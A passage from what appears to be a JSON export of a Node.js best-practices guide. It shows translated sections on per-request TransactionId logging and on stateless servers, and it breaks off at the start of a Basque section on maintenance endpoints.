asyncLocalStorage.getStore().set('transactionId', transactionId);\r\n        \r\n        // By calling next() inside the function, we make sure all other middlewares run within the same AsyncLocalStorage context \r\n        next();\r\n    });\r\n};\r\n\r\nconst app = express();\r\napp.use(transactionIdMiddleware);\r\n\r\n// Set outgoing requests TransactionId\r\napp.get('/', (req, res) => {\r\n    // Once TransactionId has been initialized inside the middleware, it's accessible at any point of the request flow\r\n    const transactionId = asyncLocalStorage.getStore().get('transactionId');\r\n\r\n    try {\r\n        // Add TransactionId as header in order to pass it to the next service\r\n        const response = await axios.get('https://externalService.com/api/getAllUsers', headers: {\r\n        'x-transaction-id': transactionId\r\n        });\r\n    } catch (err) {\r\n        // The error is being passed to the middleware, and there's no need to send over the TransactionId\r\n        next(err);\r\n    }\r\n\r\n    logger.info('externalService was successfully called with TransactionId header');\r\n\r\n    res.send('OK');\r\n});\r\n\r\n// Error handling middleware calls the logger\r\napp.use(async (err, req, res, next) => {\r\n    await logger.error(err);\r\n});\r\n\r\n// The logger can now append the TransactionId to each entry so that entries from the same request will have the same value\r\nclass logger {\r\n    error(err) {\r\n        console.error(`${err} ${asyncLocalStorage.getStore().get('transactionId')}`);\r\n    }\r\n\r\n    info(message) {\r\n        console.log(`${message} ${asyncLocalStorage.getStore().get('transactionId')}`);\r\n    }\r\n}\r\n```\r\n<br/>\r\n\r\n<details>\r\n<summary><strong>Code example: Using helper library to simplify the syntax</strong></summary>\r\n\r\nSharing TransactionId among current request functions using [cls-rtracer](https://www.npmjs.com/package/cls-rtracer) (a library based on async-local-storage, implemented for Express & Koa middlewares and Fastify & Hapi plugins)\r\n\r\n```javascript\r\nconst express = require('express');\r\nconst rTracer = require('cls-rtracer');\r\n\r\nconst app = express();\r\n\r\napp.use(rTracer.expressMiddleware());\r\n\r\napp.get('/getUserData/{id}', async (req, res, next) => {\r\n    try {\r\n        const user = await usersRepo.find(req.params.id);\r\n\r\n        // The TransactionId is reachable from inside the logger, there's no need to send it over\r\n        logger.info(`user ${user.id} data was fetched successfully`);\r\n\r\n        res.json(user);\r\n    } catch (err) {\r\n        // The error is being passed to the middleware\r\n        next(err);\r\n    }\r\n})\r\n\r\n// Error handling middleware calls the logger\r\napp.use(async (err, req, res, next) => {\r\n    await logger.error(err);\r\n});\r\n\r\n// The logger can now append the TransactionId to each entry so that entries from the same request will have the same value\r\nclass logger {\r\n    error(err) {\r\n        console.error(`${err} ${rTracer.id()}`);\r\n    }\r\n    \r\n    info(message) {\r\n        console.log(`${message} ${rTracer.id()}`);\r\n    }\r\n}\r\n```\r\n<br/>\r\n\r\nSharing TransactionId among microservices\r\n\r\n```javascript\r\n// cls-tracer has the ability to store the TransactionId on your service outgoing requests headers, and extract the TransactionId from incoming requests headers, just by overriding the default middleware config\r\napp.use(rTracer.expressMiddleware({\r\n    // Add TransactionId to the header\r\n    echoHeader: true,\r\n    // Respect TransactionId from header\r\n    useHeader: true,\r\n    // TransactionId header name\r\n    headerName: 'x-transaction-id'\r\n}));\r\n\r\nconst axios = require('axios');\r\n\r\n// Now, the external service will automaticlly get the current TransactionId as header\r\nconst response = await axios.get('https://externalService.com/api/getAllUsers');\r\n```\r\n</details>\r\n<br/>\r\n\r\n**NOTICE: there are two restrictions on using async-local-storage:**\r\n1. It requires Node v.14. \r\n2. It is based on a lower level construct in Node called async_hooks which is still experimental, so you may have the fear of performance problems. Even if they do exist, they are very negligible, but you should make your own considerations.\r\n\r\n<br/>\r\n\r\n<details>\r\n<summary><strong>Code example - typical Express configuration without async-local-storage dependence</strong></summary>\r\n\r\n```javascript\r\n// when receiving a new request, start a new isolated context and set a transaction id. The following example is using the npm library continuation-local-storage to isolate requests\r\n\r\nconst { createNamespace } = require('continuation-local-storage');\r\nconst session = createNamespace('my session');\r\n\r\nrouter.get('/:id', (req, res, next) => {\r\n    session.set('transactionId', 'some unique GUID');\r\n    someService.getById(req.params.id);\r\n    logger.info('Starting now to get something by id');\r\n});\r\n\r\n// Now any other service or components can have access to the contextual, per-request, data\r\nclass someService {\r\n    getById(id) {\r\n        logger.info('Starting to get something by id');\r\n        // other logic comes here\r\n    }\r\n}\r\n\r\n// The logger can now append the transaction id to each entry so that entries from the same request will have the same value\r\nclass logger {\r\n    info (message) {\r\n        console.log(`${message} ${session.get('transactionId')}`);\r\n    }\r\n}\r\n```\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### Good: Logs with an assigned TransactionId - can be used as filter to see only a single flow\r\n![alt text](https://i.ibb.co/YjJwgbN/logs-with-transaction-id.jpg \"Logs with transaction id\")\r\n<br/><br/>\r\n\r\n### Bad: logs without a TransactionId - no option to use a filter and see only a single flow, you need to understand by yourself which logs are relevant between all the \"noise\" around\r\n![alt text](https://i.ibb.co/PFgVNfn/logs-withtout-transaction-id.jpg \"Logs with transaction id\")\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"The notion of a Correlation ID is simple. It’s a value that is common to all requests, messages and responses in a given transaction. With this simplicity you get a lot of power.\"\r\n\r\nFrom [rapid7](https://blog.rapid7.com/2016/12/23/the-value-of-correlation-ids/)\r\n\r\n> In the old days when transactional behavior happened in a single domain, in step-by-step procedures, keeping track of request/response behavior was a simple undertaking. However, today one request to a particular domain can involve a myriad of subsequent asynchronous requests from the starting domain to others. For example, you send a request to Expedia, but behind the scenes Expedia is forwarding your request as a message to a message broker. Then that message is consumed by a hotel, airline and car rental agency that responds asynchronously too. So the question comes up, with your one request being passed about to a multitude of processing consumers, how do we keep track of the transaction? The answer is: use a Correlation ID."
  },
  {
    "path": "sections/production/assigntransactionid.polish.md",
    "content": "# Przypisz ‘TransactionId’ do każdej instrukcji dziennika\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nTypowy dziennik to magazyn wpisów ze wszystkich komponentów i żądań. Po wykryciu jakiejś podejrzanej linii lub błędu staje się pokręcony, aby dopasować inne linie należące do tego samego określonego przepływu (np. użytkownik „John” próbował coś kupić). Staje się to jeszcze bardziej krytyczne i trudne w środowisku mikrousług, gdy żądanie / transakcja może obejmować wiele komputerów. Należy rozwiązać ten problem, przypisując unikalną wartość identyfikatora transakcji do wszystkich wpisów z tego samego żądania, aby po wykryciu jednej linii można skopiować identyfikator i wyszukać każdą linię o podobnym identyfikatorze transakcji. Jednak osiągnięcie tego w Node nie jest proste, ponieważ pojedynczy wątek służy do obsługi wszystkich żądań - rozważ użycie biblioteki, która może grupować dane na poziomie żądań - patrz przykład kodu na następnym slajdzie. Podczas wywoływania innej mikrousługi przekaż identyfikator transakcji za pomocą nagłówka HTTP, takiego jak „x-transaction-id”, aby zachować ten sam kontekst.\n\n<br/><br/>\n\n### Przykład kodu: typowa konfiguracja Express\n\n```javascript\n// when receiving a new request, start a new isolated context and set a transaction Id. The following example is using the npm library continuation-local-storage to isolate requests\n\nconst { createNamespace } = require('continuation-local-storage');\nconst session = createNamespace('my session');\n\nrouter.get('/:id', (req, res, next) => {\n    session.set('transactionId', 'some unique GUID');\n    someService.getById(req.params.id);\n    logger.info('Starting now to get something by Id');\n});\n\n// Now any other service or components can have access to the contextual, per-request, data\nclass someService {\n    getById(id) {\n        logger.info('Starting to get something by Id');\n        // other logic comes here\n    }\n}\n\n// The logger can now append the transaction-id to each entry so that entries from the same request will have the same value\nclass logger {\n    info (message) {\n        console.log(`${message} ${session.get('transactionId')}`);\n    }\n}\n```\n"
  },
  {
    "path": "sections/production/assigntransactionid.russian.md",
    "content": "# Назначьте \"TransactionId\" для каждого вхождения журнала логирования\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nТипичный журнал - это хранилище записей всех компонентов и запросов. При обнаружении какой-либо подозрительной линии или ошибки становится трудно сопоставить другие строки, принадлежащие к тому же конкретному потоку (например, пользователь \"Джон\" пытался что-то купить). Это становится еще более критическим и сложным в микросервисной среде, когда запрос/транзакция может охватывать несколько компьютеров. Чтобы решить эту проблему, присвойте уникальное значение идентификатора транзакции всем записям одного и того же запроса, чтобы при обнаружении одной строки можно было копировать идентификатор и искать каждую строку, имеющую аналогичный идентификатор транзакции. Однако добиться этого в узле непросто, так как для обслуживания всех запросов используется один поток - рассмотрите возможность использования библиотеки, которая может группировать данные на уровне запроса - см. Пример кода на следующем слайде. При вызове другого микросервиса передайте идентификатор транзакции, используя заголовок HTTP, например \"x-transaction-id\", чтобы сохранить тот же контекст.\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: типичная экспресс-конфигурация\r\n\r\n```javascript\r\n// when receiving a new request, start a new isolated context and set a transaction Id. The following example is using the npm library continuation-local-storage to isolate requests\r\n\r\nconst { createNamespace } = require('continuation-local-storage');\r\nconst session = createNamespace('my session');\r\n\r\nrouter.get('/:id', (req, res, next) => {\r\n    session.set('transactionId', 'some unique GUID');\r\n    someService.getById(req.params.id);\r\n    logger.info('Starting now to get something by Id');\r\n});\r\n\r\n// Now any other service or components can have access to the contextual, per-request, data\r\nclass someService {\r\n    getById(id) {\r\n        logger.info('Starting to get something by Id');\r\n        // other logic comes here\r\n    }\r\n}\r\n\r\n// The logger can now append the transaction-id to each entry so that entries from the same request will have the same value\r\nclass logger {\r\n    info (message) {\r\n        console.log(`${message} ${session.get('transactionId')}`);\r\n    }\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/bestateless.basque.md",
    "content": "# Izan aberrigabea, hil zure zerbitzariak ia egunero\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nInoiz aurkitu duzu produkzio arazo larri bat, zerbitzari batek ezarpen edo datu batzuk falta zituela, adibidez? Baiezkotan, seguruenik, inplementazioaren parte ez den tokiko aktiboekiko menpekotasun ezbeharrezkoren batengatik izango zen. Produktu arrakastatsu askok Fenix hegaztiak balira bezala tratatzen dituzte zerbitzariak: behin eta berriro jaio eta hiltzen dira, inolako kalterik gabe. Beste modu batera esanda, zure kodea denbora batez exekutatzen duen hardwarea besterik ez da zerbitzaria, eta ondoren ordezkatua izan ohi da. Antolaketa horrek\r\n\r\n- eskalatzea ahalbidetzen du zerbitzariak dinamikoki gehituz eta kenduz albo efekturik gabe.\r\n- mantentze lanak errazten ditu askatzen baikaitu zerbitzari bakoitza ebaluatzetik.\r\n\r\n<br/><br/>\r\n\r\n### Anti ereduaren kode adibideak\r\n\r\n```javascript\r\n// Akats arrunta 1: kargatutako fitxategiak zerbitzari batean era lokalean gordetzea\r\nconst multer = require(\"multer\"); // express middlewarea fitxategien kargak kudeatzeko\r\nconst upload = multer({ dest: \"uploads/\" });\r\n\r\napp.post(\"/photos/upload\", upload.array(\"photos\", 12), (req, res, next) => {});\r\n\r\n// Akats arrunta 2: autentikazio sesioak fitxategi lokal batean edota memorian gordetzea\r\nconst FileStore = require(\"session-file-store\")(session);\r\napp.use(\r\n  session({\r\n    store: new FileStore(options),\r\n    secret: \"keyboard cat\",\r\n  })\r\n);\r\n\r\n// Akats arrunta 3: objektu globalean informazioa gordetzea\r\nGlobal.someCacheLike.result = { somedata };\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[Martin Fowler](https://martinfowler.com/bliki/PhoenixServer.html)en bloga:\r\n\r\n> ...Egun batean eragiketetarako ziurtagiri zerbitzua martxan jartzeko fantasia izan nuen. Zertan zetzan ebaluazioa baina? Lankide bat eta biok korporazioko datu zentrora joan eta produkzio zerbitzari kritikoetan hasi behar genuen lanean beisbol makila, motozerra bat eta ur pistola bana esketan genuela. Eragiketen talde horrek aplikazio guztiak berriro martxan jartzeko zenbat denbora behar zuen, horixe zen ebaluatu beharrekoa. Alimaleko fantasia inozoa dirudien arren, badago jakinduria ttantta bat horretan.\r\n> Beisbol makilak erabiltzeari uko egin beharko bazenio ere, egokia litzateke zure zerbitzariak aldian behin erreko bazenitu. Zerbitzari batek fenix bat bezalakoa izan beharko luke, aldizka errautsetatik berpizten dena...\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/bestateless.brazilian-portuguese.md",
    "content": "# Seja stateless, mate seus Servidores quase todos os dias\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nVocê já encontrou um problema de produção grave no qual um servidor estava com alguma configuração ou dados em falta? Isso provavelmente se deve a alguma dependência desnecessária de algum ativo local que não faz parte da implantação. Muitos produtos de sucesso tratam servidores como um pássaro fênix - ele morre e renasce periodicamente sem nenhum dano. Em outras palavras, um servidor é apenas uma peça de hardware que executa seu código por algum tempo e é substituído depois disso.\r\nEssa abordagem\r\n\r\n- permite dimensionamento adicionando e removendo servidores dinamicamente sem efeitos colaterais.\r\n- simplifica a manutenção, pois libera nossa mente de avaliar cada estado do servidor.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: anti-padrões\r\n\r\n```javascript\r\n// Erro típico 1: salvar arquivos enviados, localmente em um servidor\r\nvar multer = require('multer'); // middleware express para lidar com uploads de várias partes\r\nvar upload = multer({ dest: 'uploads/' });\r\n\r\napp.post('/photos/upload', upload.array('photos', 12), function (req, res, next) {});\r\n\r\n// Erro típico 2: armazenar sessões de autenticação (passport) em um arquivo local ou memória\r\nvar FileStore = require('session-file-store')(session);\r\napp.use(session({\r\n    store: new FileStore(options),\r\n    secret: 'keyboard cat'\r\n}));\r\n\r\n// Erro típico 3: armazenar informações no objeto global\r\nGlobal.someCacheLike.result = { somedata };\r\n```\r\n\r\n<br/><br/>\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\nDo blog [Martin Fowler](https://martinfowler.com/bliki/PhoenixServer.html):\r\n> ...Um dia tive essa fantasia de iniciar um serviço de certificação para operações. A avaliação da certificação consistiria em um colega e eu aparecendo no data center corporativo e atacar os servidores de produção críticos com um taco de beisebol, uma motosserra e uma pistola de água. A avaliação seria baseada em quanto tempo levaria para a equipe de operações colocar todas as aplicações em funcionamento novamente. Esta pode ser uma fantasia idiota, mas há um pouco de sabedoria aqui. Enquanto você não deve usar os bastões de beisebol, é uma boa idéia queimar seus servidores em intervalos regulares. Um servidor deve ser como uma fênix, subindo regularmente das cinzas...\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/bestateless.chinese.md",
    "content": "# 保存无状态，几乎每天停掉服务器\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n你曾经有没有遇到一类严重的线上问题，比如一个服务器丢失了一些配置或数据？这可能是由于对于不属于部署部分的本地资源的一些不必要的依赖。许多成功的产品对待服务器就像凤凰鸟–它周期性地死亡和重生不带来任何损伤。换句话说，服务器只是一个硬件，执行你的代码一段时间后，可以更换。\r\n这个方法:\r\n- 允许动态添加和删除服务器，无任何负面影响； \r\n- 简化了维护，因为它使我们不必费精力对每个服务器状态进行评估。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 代码示例: 反模式\r\n\r\n```javascript\r\n//典型错误1: 保存上传文件在本地服务器上\r\nvar multer  = require('multer') // 处理multipart上传的express中间件\r\nvar upload = multer({ dest: 'uploads/' })\r\n\r\napp.post('/photos/upload', upload.array('photos', 12), function (req, res, next) {})\r\n\r\n//典型错误2: 在本地文件或者内存中，保存授权会话（密码）\r\nvar FileStore = require('session-file-store')(session);\r\napp.use(session({\r\n    store: new FileStore(options),\r\n    secret: 'keyboard cat'\r\n}));\r\n\r\n//典型错误3: 在全局对象中保存信息\r\nGlobal.someCacheLike.result = {somedata}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 其他博客作者说什么\r\n摘自博客 [Martin Fowler](https://martinfowler.com/bliki/PhoenixServer.html):\r\n> ...某天，我有了启动一个对操作的认证服务的幻想。认证评估将由我和一位同事出现在企业数据中心，并通过一个棒球棒，一个电锯和一把水枪设置关键生产服务器。评估将基于操作团队需要多长时间才能重新运行所有应用程序。这可能是一个愚蠢的幻想，但有一个真正的智慧在这里。而你应该放弃棒球棒，去定期的几乎烧毁你的服务器，这是一个好的做法。服务器应该像凤凰，经常从灰烬中升起...\r\n \r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/bestateless.french.md",
    "content": "# Soyez sans état, tuez vos serveurs presque tous les jours\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nAvez-vous déjà rencontré un grave problème en production où il manquait un élément de configuration ou une donnée sur un serveur ? Cela est probablement dû à une dépendance inutile avec une ressource locale qui ne fait pas partie du déploiement. De nombreux produits à succès traitent les serveurs comme un oiseau phénix - il meurt et renaît périodiquement sans aucun dommage. En d'autres termes, un serveur n'est qu'une pièce de matériel qui exécute votre code pendant un certain temps et qui est ensuite remplacé.\nCette approche\n\n- permet une mise à l'échelle par l'ajout et la suppression dynamiques de serveurs sans aucun effet secondaire.\n- simplifie la maintenance car elle libère notre esprit de l'évaluation de l'état de chaque serveur.\n\n<br/><br/>\n\n### Exemple de code incorrect\n\n```javascript\n// Erreur typique 1 : enregistrement des fichiers téléchargés localement sur un serveur\nconst multer = require('multer'); // un middleware express pour gérer les téléchargements en plusieurs parties\nconst upload = multer({ dest: 'uploads/' });\n\napp.post('/photos/upload', upload.array('photos', 12), (req, res, next) => {});\n\n// Erreur typique 2 : stockage des sessions d'authentification (passeport) dans un fichier ou une mémoire locale\nconst FileStore = require('session-file-store')(session);\napp.use(session({\n    store: new FileStore(options),\n    secret: 'keyboard cat'\n}));\n\n// Erreur typique 3 : stockage d'informations sur l'objet global\nGlobal.someCacheLike.result = { somedata };\n```\n\n<br/><br/>\n\n### Ce que disent les autres blogueurs\n\nExtrait du blog de [Martin Fowler](https://martinfowler.com/bliki/PhoenixServer.html) :\n> ...Un jour, j'ai eu le délire de lancer un service de certification des exploitations. L'évaluation de la certification consisterait pour un collègue et moi à nous rendre au centre de données de l'entreprise et à nous occuper des serveurs de production critiques avec une batte de base-ball, une tronçonneuse et un pistolet à eau. L'évaluation serait basée sur le temps qu'il faudrait à l'équipe d'exploitation pour remettre toutes les applications en marche. C'est peut-être une idée folle, mais il y a là une pincée de bon sens. Bien que vous deviez renoncer aux battes de base-ball, il est bon de détruire virtuellement vos serveurs à intervalles réguliers. Un serveur doit être comme un phénix, renaissant régulièrement de ses cendres...\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/bestateless.japanese.md",
    "content": "# ステートレスのままで、ほぼ毎日サーバーを停止させる\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n1台のサーバーに設定やデータの一部が欠落しているという深刻な運用上の問題に遭遇したことはありませんか？ これはおそらく、デプロイメントの一部ではないローカルアセットへの不必要な依存が原因であると思われます。多くの成功しているプロダクトが不死鳥のようにサーバーを扱います – それは何のダメージも受けずに死んで定期的に生まれ変わります。言い換えれば、サーバーとは、コードをしばらくの間実行して、その後に入れ替わるハードウェアの一部に過ぎません。\r\nこのアプローチは、\r\n\r\n- サーバを動的に追加したり削除したりすることで、副作用のないスケーリングを可能にします。\r\n- 各サーバの状態を評価することから解放されるので、メンテナンスが簡単になります。\r\n\r\n<br/><br/>\r\n\r\n### コード例: アンチパターン\r\n\r\n```javascript\r\n// 典型的な間違い 1: アップロードファイルのローカル保存\r\nconst multer = require('multer'); // マルチパートアップロード処理用高速ミドルウェア\r\nconst upload = multer({ dest: 'uploads/' });\r\n\r\napp.post('/photos/upload', upload.array('photos', 12), (req, res, next) => {});\r\n\r\n// 典型的な間違い 2: 認証セッション(パスポート)をローカルファイルまたはメモリに保存する\r\nconst FileStore = require('session-file-store')(session);\r\napp.use(session({\r\n    store: new FileStore(options),\r\n    secret: 'keyboard cat'\r\n}));\r\n\r\n// 典型的な間違い 3: グローバルオブジェクトの情報を格納\r\nGlobal.someCacheLike.result = { somedata };\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 他のブロガーが言っていること\r\n\r\nブログ [Martin Fowler](https://martinfowler.com/bliki/PhoenixServer.html) より:\r\n> ...ある日、私は運用のための認証サービスを始めたいという妄想を抱いた。認定審査は、同僚と私が会社のデータセンターに出向き、野球のバット、チェーンソー、水鉄砲を持って、重要な本番用サーバーを見て回るというものでした。評価は、運用チームがすべてのアプリケーションを再稼働させるまでにどれくらいの時間がかかるかに基づいて行われます。くだらない妄想かもしれませんが、ここには名言のヒントがあります。野球のバットは見送るべきですが、定期的にサーバーを仮想的に焼き尽くすのは良いアイデアです。サーバーは不死鳥のように灰の中から定期的に立ち上がるべきです...\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/bestateless.korean.md",
    "content": "# Be stateless, kill your Servers almost every day\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nHave you ever encountered a severe production issue where one server was missing some piece of configuration or data? That is probably due to some unnecessary dependency on some local asset that is not part of the deployment. Many successful products treat servers like a phoenix bird – it dies and is reborn periodically without any damage. In other words, a server is just a piece of hardware that executes your code for some time and is replaced after that.\r\nThis approach\r\n\r\n- allows scaling by adding and removing servers dynamically without any side-effects.\r\n- simplifies the maintenance as it frees our mind from evaluating each server state.\r\n\r\n<br/><br/>\r\n\r\n### Code example: anti-patterns\r\n\r\n```javascript\r\n// Typical mistake 1: saving uploaded files locally on a server\r\nvar multer = require('multer'); // express middleware for handling multipart uploads\r\nvar upload = multer({ dest: 'uploads/' });\r\n\r\napp.post('/photos/upload', upload.array('photos', 12), function (req, res, next) {});\r\n\r\n// Typical mistake 2: storing authentication sessions (passport) in a local file or memory\r\nvar FileStore = require('session-file-store')(session);\r\napp.use(session({\r\n    store: new FileStore(options),\r\n    secret: 'keyboard cat'\r\n}));\r\n\r\n// Typical mistake 3: storing information on the global object\r\nGlobal.someCacheLike.result = { somedata };\r\n```\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\nFrom the blog [Martin Fowler](https://martinfowler.com/bliki/PhoenixServer.html):\r\n> ...One day I had this fantasy of starting a certification service for operations. The certification assessment would consist of a colleague and I turning up at the corporate data center and setting about critical production servers with a baseball bat, a chainsaw, and a water pistol. The assessment would be based on how long it would take for the operations team to get all the applications up and running again. This may be a daft fantasy, but there’s a nugget of wisdom here. While you should forego the baseball bats, it is a good idea to virtually burn down your servers at regular intervals. A server should be like a phoenix, regularly rising from the ashes...\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/bestateless.md",
    "content": "# Be stateless, kill your Servers almost every day\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nHave you ever encountered a severe production issue where one server was missing some piece of configuration or data? That is probably due to some unnecessary dependency on some local asset that is not part of the deployment. Many successful products treat servers like a phoenix bird – it dies and is reborn periodically without any damage. In other words, a server is just a piece of hardware that executes your code for some time and is replaced after that.\r\nThis approach\r\n\r\n- allows scaling by adding and removing servers dynamically without any side-effects.\r\n- simplifies the maintenance as it frees our mind from evaluating each server state.\r\n\r\n<br/><br/>\r\n\r\n### Code example: anti-patterns\r\n\r\n```javascript\r\n// Typical mistake 1: saving uploaded files locally on a server\r\nconst multer = require('multer'); // express middleware for handling multipart uploads\r\nconst upload = multer({ dest: 'uploads/' });\r\n\r\napp.post('/photos/upload', upload.array('photos', 12), (req, res, next) => {});\r\n\r\n// Typical mistake 2: storing authentication sessions (passport) in a local file or memory\r\nconst FileStore = require('session-file-store')(session);\r\napp.use(session({\r\n    store: new FileStore(options),\r\n    secret: 'keyboard cat'\r\n}));\r\n\r\n// Typical mistake 3: storing information on the global object\r\nGlobal.someCacheLike.result = { somedata };\r\n```\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\nFrom the blog [Martin Fowler](https://martinfowler.com/bliki/PhoenixServer.html):\r\n> ...One day I had this fantasy of starting a certification service for operations. The certification assessment would consist of a colleague and I turning up at the corporate data center and setting about critical production servers with a baseball bat, a chainsaw, and a water pistol. The assessment would be based on how long it would take for the operations team to get all the applications up and running again. This may be a daft fantasy, but there’s a nugget of wisdom here. While you should forego the baseball bats, it is a good idea to virtually burn down your servers at regular intervals. A server should be like a phoenix, regularly rising from the ashes...\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/bestateless.polish.md",
    "content": "# Bądź stateless, zabijaj serwery prawie codziennie\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nCzy kiedykolwiek napotkałeś poważny problem z produkcją, w którym na jednym serwerze brakowało jakiejś konfiguracji lub danych? Jest to prawdopodobnie spowodowane niepotrzebną zależnością od lokalnego zasobu, który nie jest częścią wdrożenia. Wiele udanych produktów traktuje serwery jak feniksa - umiera i odradza się okresowo bez żadnych uszkodzeń. Innymi słowy, serwer to tylko część sprzętu, która wykonuje twój kod przez pewien czas, a następnie jest wymieniana.\nTo podejście\n\n- umożliwia skalowanie poprzez dynamiczne dodawanie i usuwanie serwerów bez żadnych skutków ubocznych.\n- upraszcza konserwację, ponieważ uwalnia nasz umysł od oceny każdego stanu serwera.\n\n<br/><br/>\n\n### Przykład kodu: antywzorce\n\n```javascript\n// Typical mistake 1: saving uploaded files locally on a server\nconst multer = require('multer'); // express middleware for handling multipart uploads\nconst upload = multer({ dest: 'uploads/' });\n\napp.post('/photos/upload', upload.array('photos', 12), (req, res, next) => {});\n\n// Typical mistake 2: storing authentication sessions (passport) in a local file or memory\nconst FileStore = require('session-file-store')(session);\napp.use(session({\n    store: new FileStore(options),\n    secret: 'keyboard cat'\n}));\n\n// Typical mistake 3: storing information on the global object\nGlobal.someCacheLike.result = { somedata };\n```\n\n<br/><br/>\n\n### Co mówią inni blogerzy\n\nZ bloga [Martin Fowler](https://martinfowler.com/bliki/PhoenixServer.html):\n> ...One day I had this fantasy of starting a certification service for operations. The certification assessment would consist of a colleague and I turning up at the corporate data center and setting about critical production servers with a baseball bat, a chainsaw, and a water pistol. The assessment would be based on how long it would take for the operations team to get all the applications up and running again. This may be a daft fantasy, but there’s a nugget of wisdom here. While you should forego the baseball bats, it is a good idea to virtually burn down your servers at regular intervals. A server should be like a phoenix, regularly rising from the ashes...\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/bestateless.russian.md",
    "content": "# Не прописывайтесь на постоянку, убивайте свои серверы почти каждый день\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nСталкивались ли вы когда-нибудь с серьезной производственной проблемой, когда на одном сервере отсутствовала какая-то часть конфигурации или данных? Вероятно, это связано с некоторой ненужной зависимостью от локального актива, который не является частью развертывания. Многие успешные продукты относятся к серверам как к птице фениксу - она ​​умирает и периодически перерождается без какого-либо ущерба. Другими словами, сервер - это просто аппаратное обеспечение, которое некоторое время выполняет ваш код и заменяется после этого.\r\nЭтот подход\r\n\r\n- позволяет масштабировать, динамически добавляя и удаляя серверы без каких-либо побочных эффектов.\r\n- упрощает обслуживание, поскольку освобождает наш разум от оценки состояния каждого сервера.\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: антипаттерны\r\n\r\n```javascript\r\n// Typical mistake 1: saving uploaded files locally on a server\r\nconst multer = require('multer'); // express middleware for handling multipart uploads\r\nconst upload = multer({ dest: 'uploads/' });\r\n\r\napp.post('/photos/upload', upload.array('photos', 12), function (req, res, next) {});\r\n\r\n// Typical mistake 2: storing authentication sessions (passport) in a local file or memory\r\nconst FileStore = require('session-file-store')(session);\r\napp.use(session({\r\n    store: new FileStore(options),\r\n    secret: 'keyboard cat'\r\n}));\r\n\r\n// Typical mistake 3: storing information on the global object\r\nGlobal.someCacheLike.result = { somedata };\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Что говорят другие блоггеры\r\n\r\nИз блога [Мартин Фаулер](https://martinfowler.com/bliki/PhoenixServer.html):\r\n> ... Однажды у меня появилась эта фантазия о запуске службы сертификации для операций. Оценка сертификации будет состоять из того, что мы с коллегой поедем в корпоративный центр обработки данных и расскажем о важнейших производственных серверах с бейсбольной битой, бензопилой и водяным пистолетом. Оценка будет основываться на том, сколько времени потребуется оперативной группе для того, чтобы все приложения снова заработали и снова заработали. Это может быть глупой фантазией, но здесь есть кусочек мудрости. В то время как вы должны отказаться от бейсбольных бит, это хорошая идея, чтобы виртуально сжигать ваши серверы через регулярные промежутки времени. Сервер должен быть как феникс, регулярно восстающий из пепла ...\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/createmaintenanceendpoint.basque.md",
    "content": "# Sortu mantentze lanen amaiera puntua\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nMantentze lanen amaiera puntua oso HTTP API segurua da, aplikazioaren kodearen parte dena, eta bere helburua da operazioek edo ekoizpen taldeek mantentze funtzionalitatea kontrolatzeko eta erakusteko erabilia izatea. Adibidez, prozesuaren biltegiratzea (memoriaren argazkia) itzul dezake, memoria ihes batzuk dauden ala ez jakinarazi eta REPL komandoak zuzenean exekutatzeko baimena eman dezake. Amaiera hori beharrezkoa da ohiko DevOps tresnek (kontrolagailuak, erregistroak eta abar) ezin dutenean informazio mota zehatz bat bildu edo tresna horiek ez erostea edo ez instalatzea aukeratzen duzunean. Urrezko araua da produkzioa kontrolatzeko eta mantentzeko kanpoko tresna profesionalak erabiltzea, sendoagoak eta zehatzagoak izan ohi dira eta. Hori esanda, litekeena da tresna generikoek atera ezin izatea Noderen edo zure aplikazioren berariazko informaziorik. Adibidez, GC-k ziklo bat burutu duen momentuan memoriaren argazki bat sortu nahi baduzu, npm liburutegi gutxi egongo dira prest lan hori zuretzat egiteko, baina jarraipena egiteko tresna ezagunek funtzionaltasun hori galdu egingo dute. Garrantzitsua da amaiera puntu horren sarbidea mugatzea, administratzaileak soilik sartu ahal izateko, DDOS erasoen jomuga bihur baitaiteke.\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: kodearen bidez pilaketa sorta sortzea\r\n\r\n```javascript\r\nconst heapdump = require(\"heapdump\");\r\n\r\n// Egiaztatu ia eskaera baimendua den\r\nfunction baimenaDu(req) {\r\n  // ...\r\n}\r\n\r\nrouter.get(\"/ops/heapdump\", (req, res, next) => 